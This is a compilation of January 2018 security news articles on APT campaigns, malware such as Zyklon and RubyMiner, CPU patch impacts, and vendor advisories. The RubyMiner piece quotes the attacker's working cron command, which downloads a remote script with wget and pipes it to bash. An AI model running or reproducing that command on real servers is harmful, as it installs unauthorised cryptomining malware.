Russia-Linked Attacks on Political Organizations Continue
19.1.2018 securityweek APT
The cyber-espionage group known as Fancy Bear was highly active in the second half of 2017, hitting political organizations worldwide, Trend Micro said this week.
Also known as APT28, Pawn Storm, Sofacy, Group 74, Sednit, Tsar Team, and Strontium, the group is said to have ties with the Russian government. Since 2015, the group has been associated with attacks on political organizations in France, Germany, Montenegro, Turkey, Ukraine, and the United States.
During the second half of 2017, such attacks continued, without revealing much technical innovation over time. However, the attacks are well prepared, persistent, and often hard to defend against, the security researchers say.
“Pawn Storm has a large toolset full of social engineering tricks, malware and exploits, and therefore doesn’t need much innovation apart from occasionally using their own zero-days and quickly abusing software vulnerabilities shortly after a security patch is released,” Trend Micro points out.
During the second half of 2017, the group was observed targeting organizations with credential phishing and spear phishing attacks. In August and September, the hackers used tabnabbing against Yahoo! users, a method that involves changing a browser tab to point to a phishing site after distracting the target.
In attacks observed in October and November 2017, the group used credential phishing emails to target specific organizations. One incident employed an email claiming to inform the target of an expired password, while the other claimed a new file was present on the company’s OneDrive system.
During the past six months, Pawn Storm also targeted several International Olympic Wintersport Federations, including the European Ice Hockey Federation, the International Ski Federation, the International Biathlon Union, the International Bobsleigh and Skeleton Federation, and the International Luge Federation.
The attacks appear to be related to several Russian Olympic players being banned for life in fall 2017. A recent incident involving the leak of emails exchanged between officials of the International Olympic Committee (IOC) and other individuals involved with the Olympics also appears to be related to the state-sponsored actor.
Some of the group’s political targets included chmail.ir webmail users, who received credential phishing emails on May 18, 2017, one day before the presidential elections in Iran. Similar incidents were observed targeting political organizations globally, Trend Micro says.
In June 2017, the actor set up phishing sites mimicking the ADFS (Active Directory Federation Services) of the U.S. Senate. In attacks observed during fall 2017, the group was abusing Google’s Blogspot service to target Bellingcat, a group of investigative journalists that uses open source information to report on various events taking place around the world.
Individuals interested in the CyCon U.S. conference organized by the NATO Cooperative Cyber Defence Centre of Excellence (CCDCOE) in collaboration with the Army Cyber Institute at West Point were also targeted by Pawn Storm last year.
Moving forth, the group is expected to continue targeting political organizations, while also likely focusing on influencing public opinion via social media, given that social media algorithms are “susceptible to abuse by various actors with bad intentions.”
“Publishing stolen data together with spreading fake news and rumors on social media gives malicious actors powerful tools. While a successful influence campaign might seem relatively easy to do, it needs a lot of planning, persistence, and resources to be successful. Some of the basic tools and services, like ones used to spread fake news on social media, are already being offered as a service in the underground economy,” Trend Micro notes.
Other actors too might start campaigns attempting to influence politics and issues of interest domestically and abroad, the researchers say. Pawn Storm, however, is expected to continue to be highly active, especially with the Olympics and several significant global elections taking place in 2018.
Booby-Trapped Messaging Apps Used for Spying: Researchers
19.1.2018 securityweek Mobil
An espionage campaign using malware-infected messaging apps has been stealing smartphone data from activists, soldiers, lawyers, journalists and others in more than 20 countries, researchers said in a report Thursday.
A report authored by digital rights group Electronic Frontier Foundation and mobile security firm Lookout detailed discovery of "a prolific actor" with nation-state capabilities "exploiting targets globally across multiple platforms."
Desktop computers were also targeted, but getting into data-rich mobile devices was a primary objective, according to the report.
With fake versions of secure messaging services like WhatsApp and Signal, the scheme has enabled attackers to take pictures, capture audio, pinpoint locations, and mine handsets for private data.
EFF and Lookout researchers dubbed the threat "Dark Caracal."
People in the US, Canada, Germany, Lebanon, and France have been hit by Dark Caracal, according to EFF director of cybersecurity Eva Galperin.
"This is a very large, global campaign, focused on mobile devices," Galperin said.
"Mobile is the future of spying, because phones are full of so much data about a person's day-to-day life."
Hundreds of gigabytes of data have been taken from thousands of victims in more than 21 countries, according to Lookout and the EFF.
There were indications that Dark Caracal might be an infrastructure hosting a number of widespread, global cyberespionage campaigns, some of which date back years, the report said.
Because the apps fool people into thinking they are legitimate, users give them access to cameras, microphones and data.
"All Dark Caracal needed was application permissions that users themselves granted when they downloaded the apps, not realizing that they contained malware," said EFF staff technologist Cooper Quintin.
"This research shows it's not difficult to create a strategy allowing people and governments spy to on targets around the world."
Researchers reported that they tracked Dark Caracal to a building in Beirut belonging to the Lebanese General Security Directorate.
Analysis showed that devices of military personnel, businesses, journalists, lawyers, educators, and medical professionals have been compromised, according to the report.
"Not only was Dark Caracal able to cast its net wide, it was also able to gain deep insight into each of the victim's lives," the report concluded.
Cyber security professionals consistently warn people to be wary when downloading software, avoiding programs shared through links or email and instead relying on trusted sources.
Cloudflare Launches Remote Access to Replace Corporate VPNs
19.1.2018 securityweek Security
Mobile and cloud computing have challenged the concept of perimeter security. There is no longer an easily definable perimeter to defend. VPNs are a traditional, but not ideal solution. Neither approach addresses the attacker who gets through the perimeter or into the VPN. Google long ago recognized the problems and introduced BeyondCorp as an alternative to perimeters and VPNs for its own worldwide employees.
BeyondCorp replaces the need for VPNs. Instead it focuses on authenticating the device (which it provides and identifies with a device certificate) and its user, and then imposes tiered authentication around its applications. In effect, it removes the distinction between a trusted network and an untrusted network, and focuses on authenticated access from any location.
It is a good security model, but one that is beyond the reach of companies that don't have Google's resources. Now Cloudflare has announced a new service for its customers that it calls Cloudflare Access and describes as 'democratizing' the BeyondCorp model. It allows employees to operate outside of the corporate network without requiring them to use a VPN, "which," writes Cloudflare engineer Venkat Viswanathan in an associated blog post Wednesday, "slows down work because every page load makes extra round trips to the VPN server. After all this hassle, users on the VPN are still highly susceptible to phishing, man-in-the-middle and SQL injection attacks."
"VPNs are slow, and clunky, and frankly, don't make sense for an increasingly mobile workforce accessing increasingly cloudified apps," said Matthew Prince, co-founder and CEO of Cloudflare. "Cloudflare Access gives centralized application access control for legacy or cloud apps without slowing down connections, regardless of where someone is working around the world."
Unlike BeyondCorp, however, Cloudflare cannot provide corporate devices for the users. Customers remain responsible for the security of the remote devices. "We don't insist on clients providing company devices to employees," Prince told SecurityWeek, "but we recommend that they tick some sort of identity provider. That could be Google, Microsoft Active Directory, Okta or something they've built themselves. How much they use that service and lock down the individual devices is up to them, but we would recommend that they use multi-factor authentication on those devices."
Cloudflare's role in this model is to protect the customer's individual applications within separate authentication wrappers. "While perimeter defense is based on the idea of a moat around the castle," said Prince, "this new model puts each application (the castle's individual crown jewels) into separate safes. We don't care whether the customer uses a combination lock safe, or a physical key safe or an electronic keypad safe. We'll support any of the different mechanisms for unlocking the safe -- but what we provide is the safe itself. We provide the thing that wraps around wherever the crown jewels are located and protects them. It is the customers that decide how they want to verify if the device and user are legitimate and authorized to open the door that we provide."
Cloudflare's Access product does not defend the user's device, but it does defend the company's applications. "Even if an attacker manages to get into a device, every access to the company network is logged by Cloudflare. The customer can monitor for anomalies. So, the model of wrapping authentication around each application not only adds friction to any attack, it also provides a central repository where the security team can look for anomalies, track bad behavior and quickly respond accordingly. The customer's administrator for the Cloudflare service would have a single view of every employee's device -- when it logged into and used each of the different services -- on a service by service basis. If anything anomalous happens, the administrator can withdraw the user's Access instantly."
The logs are accessible through a Cloudflare API, so anomaly detection can be automated using anomaly detection tools in-house. "Over time," said Prince, "as Access matures, there will be additional tools that we provide to allow customers to look for things that might be anomalous. For example, if a device has only logged into three services in its entire history, and then suddenly logs into five new services, we would surface that in the logs and show it to the admins. This is not currently available," he added. "You could build it through our APIs, but it's something we are likely to make available in future versions of our product."
Cloudflare's new Access product is a replacement for corporate VPNs using much of Google's BeyondCorp model.
"When a user accesses an individual application," explained Prince, "it would be like passing through a VPN on a per application basis. Users would hit a Cloudflare data center which prompts for proof of identity and authorization to access a particular application. If that authorization proves 'true', then the user gets a fast lane back to the actual application, which could be running anywhere on the internet, whether in-house or a third-party such as Salesforce. The user gets a much faster experience through not having to back haul everything through some centralized VPN server." Like a VPN, all traffic is protected by encryption.
"If you think of the problems that VPNs are trying to solve, they're simply trying to let the good guys in and keep the bad guys out. Access solves that exact same problem, but does it in a way that is more robust. It supports cloud environments, it supports remote workers without slowing down their connection, and it actually provides a better security model where you have individuals being logged as they pass through authentication checkpoints to use each different application."
Cloudflare Access is being sold on a per seat basis: $3 per person, per month. There is no limit to the number of applications that can be accessed by each user via the service. Volume discounts are available for large deployments.
San Francisco, CA-based Cloudflare was founded in 2009. It has raised a total funding amount of $182,050,000 -- the most recent being $110 million Series D funding led by Fidelity Investments in September 2015. It routes traffic through its own global network, blocking DoS attacks, reducing spam and improving performance.
Meltdown and Spectre patches have a variable impact and can cause unwanted reboots, Intel warns
19.1.2018 securityaffairs Vulnerebility
Intel has published the results of the test conducted on the Meltdown and Spectre patches and their impact on performance confirming serious problems.
According to the tech giant systems with several types of processors running Meltdown and Spectre patches may experience more frequent reboots.
A few days ago Intel reported that extensive test conducted on home and business PCs demonstrated a negligible performance impact on these types of systems (from 2 up to 14%).
Now the vendor has conducted some performance tests on data centers and results show that the impact on the performance depends on the system configuration and the workload.
“As expected, our testing results to date show performance impact that ranges depending on specific workloads and configurations. Generally speaking, the workloads that incorporate a larger number of user/kernel privilege changes and spend a significant amount of time in privileged mode will be more adversely impacted.” reads the analysis conducted by Intel.
Impacts ranging from 0-2% on industry-standard measures of integer and floating point throughput, Linpack, STREAM, server-side Java and energy efficiency benchmarks. The tests are related to benchmarks that cover typical workloads for enterprise and cloud customers.
Intel also evaluated the impact on online transaction processing (OLTP), estimating it at roughly 4%.
Benchmarks for storage demonstrated a strict dependence on the benchmark, test setup, and system configuration.
For FlexibleIO, which simulates various I/O workloads, throughput performance decreased by 18% when the CPU was stressed, but there was no impact when CPU usage was low.
The tests for FlexibleIO were conducted using different benchmark simulating different types of I/O loads, the results depend on many factors, including read/write mix, block size, drives and CPU utilization.
“For FlexibleIO, a benchmark simulating different types of I/O loads, results depend on many factors, including read/write mix, block size, drives and CPU utilization. When we conducted testing to stress the CPU (100% write case), we saw an 18% decrease in throughput performance because there was not CPU utilization headroom.” continues the analysis. “When we used a 70/30 read/write model, we saw a 2% decrease in throughput performance. When CPU utilization was low (100% read case), as is the case with common storage provisioning, we saw an increase in CPU utilization, but no throughput performance impact.”
The most severe degradation of the performance was observed during Storage Performance Development Kit (SPDK) tests, using iSCSI the degradation reached 25% when only a single core was used. Fortunately, there was no degradation of the performance when SPDK vHost was used.
Intel also reported that Meltdown and Spectre patches are causing more frequent reboots, this behavior was observed for systems running Broadwell, Haswell, Ivy Bridge-, Sandy Bridge-, Skylake-, and Kaby Lake-based platforms.
“We have reproduced these issues internally and are making progress toward identifying the root cause. In parallel, we will be providing beta microcode to vendors for validation by next week,” said Navin Shenoy, executive vice president and general manager of Intel’s Data Center Group.
Only the newest Intel 8th-gen CPUs Coffee Lake seems to be not affected by reboots.
North Korea Group 123 involved in at least 6 different hacking campaigns in 2017
19.1.2018 securityaffairs APT
North Korean hackers belonging to the North Korea Group 123 have conducted at least six different massive malware campaigns during 2017.
North Korean hackers have conducted at least six different massive malware campaigns during 2017, most of them against targets in South Korea. Security researchers from Cisco’s Talos group who have monitored the situation for 12 months have identified a North Korean threat actor tracked by the experts as Group 123 that conducted numerous malware attacks against entities in the South.
In three differed phishing campaigns tracked as “Golden Time”, “Evil New Year” and “North Korean Human Rights” South Korean victims were specifically infected with the Remote Access Trojan ROKRAT.
“On January 2nd of 2018, the “Evil New Year 2018” was started. This campaign copies the approach of the 2017 “Evil New Year” campaign.
The links between the different campaigns include shared code and compiler artifacts such as PDB (Program DataBase) patterns which were present throughout these campaigns.” reads the analysis published by Talos.
“Based on our analysis, the “Golden Time”, both “Evil New Year” and the “North Korean Human Rights” campaigns specifically targeted South Korean users.”
The ROKRAT RAT was used to target Korean targets using the popular Korean Microsoft Word alternative Hangul Word Processor (HWP). In the past, we saw other attacks against people using the HWP application.
The three campaigns leveraged on a payload in the Hancom Hangul Office Suite, North Korean hackers exploited vulnerabilities such as the CVE-2013-0808 EPS viewer bug to deliver the RAT.
The attackers also used specially crafted files to trigger the arbitrary code execution vulnerability CVE-2017-0199. Group 123 also launched the FreeMilk campaign against financial institutions outside South Korea.
The hackers in this campaign used phishing message with a weaponized Microsoft Office document that was able to trigger the vulnerability CVE-2017-0199.
“Group 123 used this vulnerability less than one month after its public disclosure. During this campaign, the attackers used 2 different malicious binaries: PoohMilk and Freenki.” continues the analysis.”PoohMilk exists only to launch Freenki. Freenki is used to gather information about the infected system and to download a subsequent stage payload. This malware was used in several campaigns in 2016 and has some code overlap with ROKRAT.”
The last campaign analyzed by Talos group was tracked as “Are You Happy,” it is a sabotage campaign that targeted the victims using a module from ROKRAT designed to wipe the first sectors of the victim’s hard drive.
According to Talos, this actor was very active in 2017, and likely will continue its campaigns in the next months, especially against targets in the South.
“The actor has the following demonstrated capabilities:
To include exploits (for Hangul and Microsoft Office) in its workflows.
To modify its campaigns by splitting the payload in to multiple stages
To use compromised web servers or legitimate cloud based platforms.
To use HTTPS communications to make it harder to perform traffic analysis.
To compromise third parties to forge realistic spear phishing campaigns (i.e. Yonsei university in the “Golden Time” campaign).
To constantly evolve, the new fileless capability included in 2018 is a proof.” concluded Talos.
The report includes the IoCs for each campaign.
Hackers Exploiting Three Microsoft Office Flaws to Spread Zyklon Malware
18.1.2018 thehackernews Virus
Security researchers have spotted a new malware campaign in the wild that spreads an advanced botnet malware by leveraging at least three recently disclosed vulnerabilities in Microsoft Office.
Dubbed Zyklon, the fully-featured malware has resurfaced after almost two years and primarily found targeting telecommunications, insurance and financial services.
Active since early 2016, Zyklon is an HTTP botnet malware that communicates with its command-and-control servers over Tor anonymising network and allows attackers to remotely steal keylogs, sensitive data, like passwords stored in web browsers and email clients.
Zyklon malware is also capable of executing additional plugins, including secretly using infected systems for DDoS attacks and cryptocurrency mining.
Different versions of the Zyklon malware has previously been found being advertised on a popular underground marketplace for $75 (normal build) and $125 ( Tor-enabled build).
According to a recently published report by FireEye, the attackers behind the campaign are leveraging three following vulnerabilities in Microsoft Office that execute a PowerShell script on the targeted computers to download the final payload from its C&C server.
1) .NET Framework RCE Vulnerability (CVE-2017-8759)—this remote code execution vulnerability exists when Microsoft .NET Framework processes untrusted input, allowing an attacker to take control of an affected system by tricking victims into opening a specially crafted malicious document file sent over an email. Microsoft already released a security patch for this flaw in September updates.
2) Microsoft Office RCE Vulnerability (CVE-2017-11882)—it’s a 17-year-old memory corruption flaw that Microsoft patched in November patch update allows a remote attacker to execute malicious code on the targeted systems without requiring any user interaction after opening a malicious document.
3) Dynamic Data Exchange Protocol (DDE Exploit)—this technique allows attackers to leverage a built-in feature of Microsoft Office, called DDE, to perform code execution on the targeted device without requiring Macros to be enabled or memory corruption.
As explained by the researchers, attackers are actively exploiting these three vulnerabilities to deliver Zyklon malware using spear phishing emails, which typically arrives with an attached ZIP file containing a malicious Office doc file.
Once opened, the malicious doc file equipped with one of these vulnerabilities immediately runs a PowerShell script, which eventually downloads the final payload, i.e., Zyklon HTTP malware, onto the infected computer.
"In all these techniques, the same domain is used to download the next level payload (Pause.ps1), which is another PowerShell script that is Base64 encoded," the FireEye researchers said.
"The Pause.ps1 script is responsible for resolving the APIs required for code injection. It also contains the injectable shellcode."
"The injected code is responsible for downloading the final payload from the server. The final stage payload is a PE executable compiled with .Net framework."
Interestingly, the PowerShell script connects to a dotless IP address (example: http://3627732942) to download the final payload.
What is Dotless IP Address? If you are unaware, dotless IP addresses, sometimes referred as 'Decimal Address,' are decimal values of IPv4 addresses (represented as dotted-quad notation). Almost all modern web browsers resolve decimal IP address to its equivalent IPV4 address when opened with "http://" following the decimal value.
For example, Google's IP address 188.8.131.52 can also be represented as http://3627732942 in decimal values (Try this online converter).
The best way to protect yourself and your organisation from such malware attacks are always to be suspicious of any uninvited document sent via an email and never click on links inside those documents unless adequately verifying the source.
Most importantly, always keep your software and systems up-to-date, as threat actors incorporate recently discovered, but patched, vulnerabilities in popular software—Microsoft Office, in this case—to increase the potential for successful infections.
Threat actors are delivering the Zyklon Malware exploiting three Office vulnerabilities
18.1.2018 securityaffairs Vulnerebility
Security experts from FireEye have spotted a new strain of the Zyklon malware that has been delivered by using new vulnerabilities in Microsoft Office.
Researchers at FireEye reported the malware was used in attacks against organizations in the telecommunications, financial, and insurance sectors.
Zyklon has been spotted for the first time in 2016, it is a publicly available malware that could be used for multiple purposes such as espionage campaigns, DDoS attacks or to mine cryptocurrency.
“FireEye researchers recently observed threat actors leveraging relatively new vulnerabilities in Microsoft Office to spread Zyklon HTTP malware.” reads the analysis published by FireEye.
“Zyklon is a publicly available, full-featured backdoor capable of keylogging, password harvesting, downloading and executing additional plugins, conducting distributed denial-of-service (DDoS) attacks, and self-updating and self-removal.”
The malware is modular, it can download several plugins to implement different features, it may communicate with C&C server over The Onion Router (Tor) network.
In this last campaign, the malicious code has been delivered via spam emails using as a ZIP archive that contains a specially crafted Word document.
The document exploits one of three vulnerabilities in Microsoft Office to deliver a PowerShell script that downloads the final Zyklon payload from a remote server.
One of the flaws exploited by the attackers is CVE-2017-8759, a flaw that was fixed by Microsoft in September 2017 after it was exploited by threat actors such as the Cobalt group to deliver malware in attacks wild.
A second triggered by the documents used in the campaign spotted by FireEye is CVE-2017-11882, a 17-year-old vulnerability in MS Office that could be exploited by remote attackers to install a malware without user interaction.
The flaw is a memory-corruption issue that affects all versions of Microsoft Office released in the past 17 years, including the latest Microsoft Office 365. The vulnerability could be triggered on all versions of Windows operating system, including the latest Microsoft Windows 10 Creators Update.
The vulnerability affects the MS Office component EQNEDT32.EXE that is responsible for insertion and editing of equations (OLE objects) in documents.
This flaw was used by differed APT groups, including the Cobalt group and Iran-linked hackers.
The attackers also exploited the Dynamic Data Exchange (DDE) feature in Office to deliver the malicious code, the same feature was abused by at least one Russian APT group in cyber espionage campaigns and by the powerful Necurs botnet to deliver ransomware.
Once the malware has successfully exploited one of these flaws, it will download a PowerShell script that injects code and fetches the final payload from a remote server.
FireEye highlighted the fact that attackers are exploiting recently discovered flaws in widely adopted software such as the Office suite to increase the likelihood of infecting the victims’ machines.
“Threat actors incorporating recently discovered vulnerabilities in popular software – Microsoft Office, in this case – only increases the potential for successful infections. These types of threats show why it is very important to ensure that all software is fully updated. Additionally, all industries should be on alert, as it is highly likely that the threat actors will eventually move outside the scope of their current targeting.” concludes FireEye.
Technical details about the threat, including the Indicators of Compromise, are available in the report published by FireEye.
Internet Systems Consortium rolled out a patch for a BIND security flaw caused DNS Servers Crash
18.1.2018 securityaffairs Vulnerebility
The Internet Systems Consortium (ISC) has issued security updates for BIND to address a high severity vulnerability that could cause DNS servers crash.
The Internet Systems Consortium (ISC) has rolled out security updates for BIND to address a high severity vulnerability that could be remotely exploited to crash DNS servers.
The flaw discovered by Jayachandran Palanisamy of Cygate AB and tracked as CVE-2017-3145, is caused by a use-after-free bug that can lead to an assertion failure and crash of the BIND name server (named) process.
“BIND was improperly sequencing cleanup operations on upstream recursion fetch contexts, leading in some cases to a use-after-free error that can trigger an assertion failure and crash in named.” reads the security advisory published by ISC.
According to the ISC there is no evidence that the flaw has been exploited in attacks in the wild, but the ISC states that many crashes caused by the bug have been reported by “multiple parties.”
The issue impacted systems that operate as DNSSEC validating resolvers, the experts suggest to temporarily disable DNSSEC validation as a workaround.
“While this bug has existed in BIND since 9.0.0, there are no known code paths leading to it in ISC releases prior to those containing the fix for CVE-2017-3137. Thus while all instances of BIND ought to be patched, only ISC versions [9.9.9-P8 to 9.9.11, 9.10.4-P8 to 9.10.6, 9.11.0-P5 to 9.11.2, 9.9.9-S10 to 9.9.11-S1, 9.10.5-S1 to 9.10.6-S1, and 9.12.0a1 to 9.12.0rc1] acting as DNSSEC validating resolvers are currently known to crash due to this bug. The known crash is an assertion failure in netaddr.c.” continues the advisory.
The ISC also disclosed a medium severity DHCP flaw tracked as CVE-2017-3144 that affect versions 4.1.0 to 4.1-ESV-R15, 4.2.0 to 4.2.8, and 4.3.0 to 4.3.6.
“A vulnerability stemming from failure to properly clean up closed OMAPI connections can lead to exhaustion of the pool of socket descriptors available to the DHCP server. ” reads the ISC advisory.
“By intentionally exploiting this vulnerability an attacker who is permitted to establish connections to the OMAPI control port can exhaust the pool of socket descriptors available to the DHCP server. Once exhausted, the server will not accept additional connections, potentially denying access to legitimate connections from the server operator. While the server will continue to receive and service DHCP client requests, the operator can be blocked from the ability to use OMAPI to control server state, add new lease reservations, etc.,”
ISC has already developed a patch that will be rolled out in the future DHCP releases, as a workaround it is possible to disallow access to the OMAPI control port from unauthorized clients.
Oracle January 2018 Critical Patch Update also addresses Spectre and Meltdown
18.1.2018 securityaffairs Vulnerebility
Oracle rolled out the January 2018 Critical Patch Update that includes 237 security fixes in its products, the majority of which is remotely exploitable without authentication.
The January 2018 Critical Patch Update also includes security updates that address Spectre and Meltdown vulnerabilities.
“The January 2018 Critical Patch Update provides fixes for certain Oracle products for the Spectre (CVE-2017-5753, CVE-2017-5715) and Meltdown (CVE-2017-5754) Intel processor vulnerabilities. Please refer to this Advisory and the Addendum to the January 2018 Critical Patch Update Advisory for Spectre and Meltdown MOS note (Doc ID 2347948.1).” reads the advisory published by Oracle. “This Critical Patch Update contains 237 new security fixes across the product families listed below. Please note that a MOS note summarizing the content of this Critical Patch Update and other Oracle Software Security Assurance activities is located at January 2018 Critical Patch Update: Executive Summary and Analysis.”
The January 2018 Critical Patch Update contains 13 new security fixes for the Oracle Sun Systems Products Suite that address 7 remotely exploitable issues.
Oracle updates include the fix for the Spectre CVE-2017-5715 vulnerability affecting its Oracle X86 Servers and Oracle VM VirtualBox. The security updates for Oracle X86 Servers include Intel microcode that allows mitigating the issue in OS and VM.
“Application of firmware patches to pick up the Intel microcode is required only for Oracle x86 servers using non Oracle OS and Virtualization software. Oracle OS and Oracle VM patches for CVE-2017-5715 will include updated Intel microcode.” reads a note included in the advisory “Oracle OS and Oracle VM patches for CVE-2017-5715 will include updated Intel microcode,”
The advisory includes the full list of fixes along with affected products, the product with the largest number of fixes is Financial Services Applications (34 patches, 13 of them remotely exploitable without authentication).
The second product for the number of fixes is the Fusion Middleware with 27 fixes (21 of them remotely exploitable without authentication).
The third is MySQL with 25 fixes, 6 of which remotely exploitable.
Let’s close with the most severe issue, the CVE-2018-2611 flaw rated with CVSS score 10 affects Sun ZFS Storage Appliance Kit (AK).
RubyMiner Monero Cryptominer affected 30% of networks worldwide in just 24h
18.1.2018 securityaffairs Hacking
Security researchers at Check Point have spotted a malware family dubbed RubyMiner that is targeting web servers worldwide in an attempt to exploit their resources to mine Monero cryptocurrency.
RubyMiner, was first spotted last week when a massive campaign targeted web servers worldwide, most of them in the United States, Germany, United Kingdom, Norway, and Sweden.
The experts believe that a single lone attacker is behind the attacks, in just one day he attempted to compromise nearly one-third of networks globally.
“In the last 24 hours, 30% of networks worldwide have experienced compromise attempts by a crypto-miner targeting web servers.” read the analysis from Check Point.
“During that period, the lone attacker attempted to exploit 30% of all networks worldwide to find vulnerable web servers in order to mobilize them to his mining pool. Among the top countries targeted are the United States, Germany, United Kingdom, Norway and Sweden, though no country has gone unscathed.”
The malware targets both Windows and Linux servers, attempting to exploit old vulnerabilities in PHP, Microsoft IIS, and Ruby on Rails to deploy the Monero miner.
The Italian security firm Certego noticed the same attacks that began on January 10.
“Our threat intelligence platform has been logging a huge spike in ruby http exploiting since yesterday (10 January) at 23:00.” states the report published by Certego.
“The exploit has been trying to leverage a fairly old CVE (CVE-2013-0156) that allows remote code execution. The following public Emerging Threat signature cover the exploit:”
The attack doesn’t appear very sophisticated, the hacker did not attempt to conceal his operations, but it was focused on infecting the larger number of servers in the shortest time.
“Surprisingly, by using old vulnerabilities published and patched in 2012 and 2013, it doesn’t seem that stealth was part of the attacker’s agenda either. Instead, the attacker chose to exploit multiple vulnerabilities in HTTP web servers, to distribute an open source Monero miner – XMRig.” continues the analysis.
“In fact, XMRig usually sends a donation of 5% of the revenue gained from the mining process to the code’s author. However, even this amount was too much for the attacker to part with as that ‘donation element’ was deleted from the code, giving the enthusiast 100% of the profit.”
At the time of the report, only 700 servers worldwide have been successfully compromised in the first 24 hours of attacks.
The experts from Certego observed the attacker exploiting the CVE-2013-0156 remote code execution flaw in Ruby on Rails.
The attacker sends a base64 encoded payload inside a POST request in the attempt to trick the interpreter into executing it.
The malicious payload is a bash script that adds a cronjob that runs every hour and downloads a robots.txt file containing a shell script, used to fetch and execute the cryptominer. The scheduler is being told to run the whole process, including downloading the file from the server every hour.
“The cron is a UNIX based scheduler which allows running scheduled tasks at fixed times via its own syntax. Running the crontab command with the –r argument will remove all existing tasks in the existing crontab and allow for the miner to take full priority.” continues the analysis from Checkpoint.
echo “1 * * * * wget -q -O – http://internetresearch.is/robots.txt 2>/dev/null|bash >/dev/null 2>&1″|crontab –
“Now the attacker can inject the new job to the clean crontab file using the “1 * * * *” which will tell the scheduler to run once an hour for one minute infinitely.
The new job will download and execute the “robots.txt” file hosted on “internetresearch.is.” and the mining process can begin.”
Experts believe that the robots.txt file could be used also as a kill switch for RubyMiner, modify the robots.txt file on the compromised webserver it is possible to deactivate the malware.
“Within a minute, all the machines re-downloading the file will be receiving files without the crypto miners,” Check Point notes.
The expert noticed that one of the domains used by the attacker, lochjol.com, was involved in an attack that abused the Ruby on Rails vulnerability in 2013.
Check Point researchers also published the IoC related to RubyMiner.
KillaMuvz, the creator of the Cryptex tool family pleads guilty to running malware services
18.1.2018 securityaffairs Virus
The Briton Goncalo Esteves (24), also known as KillaMuvz, has pleaded guilty to charges related to creating and running malware services.
The Briton Goncalo Esteves (24) has pleaded guilty to charges related to creating and running malware services.
Such kind of platforms allows crooks to improve the development of their malicious codes. The malware created with the Esteves’ malware services would not be detected by antivirus software.
Esteves that was used the moniker ‘KillaMuvz’ is the creator of Cryptex tool commonly used by vxers to encrypt their files in an effort to avoid the detection. The first version of Cryptex was released in October 2011 and was continuously improved.
According to the NCA, Esteves has pleaded guilty to two computer misuse charges and one count of money laundering, the sentence is planned for February 12.
“A cyber criminal has admitted running a product-testing service for hackers following a joint investigation by the National Crime Agency (NCA) and cyber security firm Trend Micro.
Goncalo Esteves, 24, of Cape Close, Colchester, Essex, ran the website reFUD.me, which allowed offenders to test, for a fee, whether their malicious cyber tools could beat anti-virus scanners.” reads the announcement published by the NCA.
“Under the pseudonym KillaMuvz, he also sold custom-made malware-disguising products and offered technical support to users.
He pleaded guilty to two computer misuse offences and a count of money laundering at Blackfriars Crown Court.”
Cryptex Reborn allowed vxers to encrypt the malware files in an effort to make them “Fully UnDetectable” (FUD).
Esteves sold Crypters for use in packages which varied in price according to the length of the licence. A month of Cryptex Lite cost $7.99 ( about £5 at the time of offending) while a lifetime licence for Cryptex Reborn cost $90 (about £60). The man also provided customer support via a dedicated Skype account and accepted payment either in conventional currency, in the cryptocurrency Bitcoin or in Amazon vouchers.
One of Esteves’ services was a website called reFUD.me that was launched in February 2015. It has been observed that the service was used to conduct at least 1.2 million scans.
An investigation conducted by the UK’s National Crime Agency (NCA) with the help of Trend Micro resulted in the arrest of Esteves and a woman.
Law enforcement shut down both service after the arrest, Esteves always denied that the software was created for malicious purposes.
According to the NCA, Esteves has pleaded guilty to two computer misuse charges and one count of money laundering, the sentence is planned for February 12.
“A cyber criminal has admitted running a product-testing service for hackers following a joint investigation by the National Crime Agency (NCA) and cyber security firm Trend Micro.
Goncalo Esteves, 24, of Cape Close, Colchester, Essex, ran the website reFUD.me, which allowed offenders to test, for a fee, whether their malicious cyber tools could beat anti-virus scanners.” reads the announcement published by the NCA.
“Under the pseudonym KillaMuvz, he also sold custom-made malware-disguising products and offered technical support to users.
He pleaded guilty to two computer misuse offences and a count of money laundering at Blackfriars Crown Court.”
Esteves advertised his service on the hackforums.net website, a well-known crime messageboard.
“A free service that offers fast and reliable file scanning to ensure that your files remain fully undetectable to anti-malware software.” reads the ad.
The NCA reported that Esteves made £32,000 from more than 800 Paypal transactions between 2011 and 2015.
There are no other information about the transactions made in Bitcoins and using Amazon vouchers.
Intel Tests Performance Impact of CPU Patches on Data Centers
18.1.2018 securityweek IT
Intel Patches for Meltdown and Spectre Cause More Frequent Reboots
Intel on Wednesday shared information on the performance impact of the Meltdown and Spectre patches on data centers, and the company told customers that systems with several types of processors may experience more frequent reboots after firmware updates are installed.
Performance impact on data centers
Roughly one week ago, Intel informed customers that the mitigations for the recently disclosed CPU flaws should have a negligible performance impact for operations typically conducted on home and business PCs. The company reported seeing performance penalties ranging from 2-14% on these types of systems.
Intel has also conducted some performance tests on data centers and the initial results show that, as expected, impact depends on the type of workload and the configuration of the system.
Tests conducted on Intel Xeon Scalable (Skylake) systems showed that impact on integer and floating point throughput, Linpack, STREAM, server-side Java, and energy efficiency, which are typical for enterprise and cloud customers, was 0-2%.
In the case of online transaction processing (OLTP), Intel saw a performance impact of roughly 4%. The company is in the process of conducting more tests and believes the results will depend on system configuration and other factors.
In the case of FlexibleIO, which simulates various I/O workloads, throughput performance decreased by 18% when the CPU was stressed, but there was no impact when CPU usage was low.
Intel saw the most significant performance penalties during Storage Performance Development Kit (SPDK) tests, specifically using iSCSI, reaching 25% when only a single core was used. However, there was no impact on performance when SPDK vHost was used.
Performance penalties of Intel patches on data centers
Microsoft, AWS, Red Hat and others have also shared information on the impact of the Spectre and Meltdown mitigations on performance.
Intel has released firmware updates for 90% of the CPUs released in the last five years. While the company claims that the updates are effective at mitigating the Spectre and Meltdown attacks, users have reported seeing more frequent reboots after applying patches.
Intel initially said only systems running Broadwell and Haswell CPUs experienced more frequent reboots, but similar behavior has also been reported on Ivy Bridge-, Sandy Bridge-, Skylake-, and Kaby Lake-based platforms.
“We have reproduced these issues internally and are making progress toward identifying the root cause. In parallel, we will be providing beta microcode to vendors for validation by next week,” said Navin Shenoy, executive vice president and general manager of Intel’s Data Center Group.
Many affected vendors, including system manufacturers, have already released patches and workarounds for the Spectre and Meltdown vulnerabilities, but installing them has been known to cause serious problems.
Microsoft’s initial patches prevented systems with some AMD processors from booting, and Canonical’s Meltdown fix broke some devices running Ubuntu. Industrial control systems (ICS) vendors have warned customers that the patches for the CPU vulnerabilities should be thoroughly tested before being installed in order to prevent any disruptions.
Former CIA Agent Arrested With Top Secret Info
